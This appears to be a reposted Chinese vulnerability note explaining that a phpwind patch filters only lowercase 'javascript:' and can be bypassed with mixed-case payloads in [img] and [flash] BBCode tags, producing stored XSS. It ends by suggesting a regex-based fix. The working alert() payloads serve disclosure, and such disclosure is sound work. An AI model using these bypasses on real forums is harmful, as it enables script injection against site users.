好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

phpwind补丁发布导致新存储xss1 - 网站安全 - 自学

新发布的修复补丁引出该问题

http://www.phpwind.net/read/2993589 下载最新补丁代码PwUbbCode.php

 

添加了如下一个函数

 

 

if(strpos($path, 'javascript:')!==false) { return ''; }

 

这个是解决不了问题的,strpos只是检测了javascript的小写形式。

 

变换一下即可触发

 

 

 

 

漏洞 证明:回帖或者发帖处,

 

高级-》代码

 

 

 

ie6下触发。

 

 

 

[img]jAvascript:alert(document.domain)[/img]

 

 

在发帖回帖处写入

 

高级--》代码

 

[flash=480,400,1] jAvascript:alert(document.domain)[/flash]

 

 

 

各个 浏览器 应该都是可以触发的。

 

修复方案: 正则匹配 

 

查看更多关于phpwind补丁发布导致新存储xss1 - 网站安全 - 自学的详细内容...

  阅读:53次